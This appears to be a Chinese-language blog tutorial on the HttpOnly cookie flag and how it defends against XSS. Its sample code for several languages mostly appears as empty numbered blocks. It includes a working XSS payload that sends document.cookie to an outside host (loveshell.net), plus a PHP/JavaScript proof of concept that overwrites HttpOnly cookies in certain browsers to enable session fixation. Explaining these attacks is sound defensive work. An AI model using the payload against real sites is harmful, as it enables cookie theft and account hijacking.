1.什么是HttpOnly?
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。
2.javaEE的API是否支持?
目前sun公司还没有公布相关的API,但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了,别急下文有变通实现
3.HttpOnly的设置样例
javaEE
1 2 |
|
具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取
1 |
|
C#
1 2 3 |
|
VB.NET
1 2 3 |
|
但是在 .NET 1.1 ,中您需要手动添加
1 |
|
PHP4
1 |
|
PHP5
1 |
|
最后一个参数为HttpOnly属性
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly
xss攻击语句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;
如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookies浏览器document中不可见就行了。很幸运,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
给浏览器设置Cookie的头如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
浏览器中因cookie设置HttpOnly标志引起的安全问题
用JavaScript覆盖cookie中的HttpOnly标志
当JavaScript可以覆盖cookie中的HttpOnly标志时,攻击者如果发现网站的XSS漏洞,就可以利用HttpOnly cookie发动session fixation攻击(更多关于session fixation攻击的内容可以参考笔者之前的文章[1])。
session fixation攻击的后果是攻击者可以冒充受害者,因为其知道受害者的session ID。这里假设当成功登录应用后session不会重新生成。现实也确实是这样的,但浏览器不应该允许JavaScript覆盖HttpOnly标志,因为这种覆盖可能与某些应用程序登录成功后不会重新生成会话这一特性结合,发动session fixation攻击。
那么登录成功后如果重新生成session ID的话安全性是怎么样的呢?还能被攻击者利用吗?登录之后,攻击者通过设置用户的session为攻击者正在使用的session,将用户切换为攻击者自己的帐户。受害者以为其正在使用自己的帐户,实际上一些敏感信息已经泄露给攻击者了。
允许JavaScript覆盖HttpOnly cookie的浏览器
经笔者证实,以下浏览器允许JavaScript覆盖HttpOnly cookies:
Safari
Opera Mobile
Opera Mini
BlackBerry browser
Konqueror browser
该问题已经(于2014年2月14日)提交给相应的厂商。
IE、Firefix和Opera(标准安装版本)不容易受到上述攻击影响。
漏洞利用
以下是部分示例代码:
- <?
- setcookie(‘cookie1‘,++$_COOKIE[‘cookie1‘],time()+2592000,‘/‘,‘‘,0,1);
- setcookie(‘cookie2‘,++$_COOKIE[‘cookie2‘],time()+2592000,‘/‘,‘‘,0,0);
- ?>
- <HTML>
- <?
- print "Cookie1:".$_COOKIE[‘cookie1‘]."<br>";
- print "Cookie2:".$_COOKIE[‘cookie2‘];
- ?>
- <script>alert(document.cookie);</script>
- <script>document.cookie=‘cookie1=100;expires=Thu, 2 Aug 2014 20:00:00 UTC; path=/‘;</script>
- </HTML>
过程如下:运行这段代码,之后可以看到cookie1(设置了HttpOnly标志)已经被JavaScript写入覆盖了。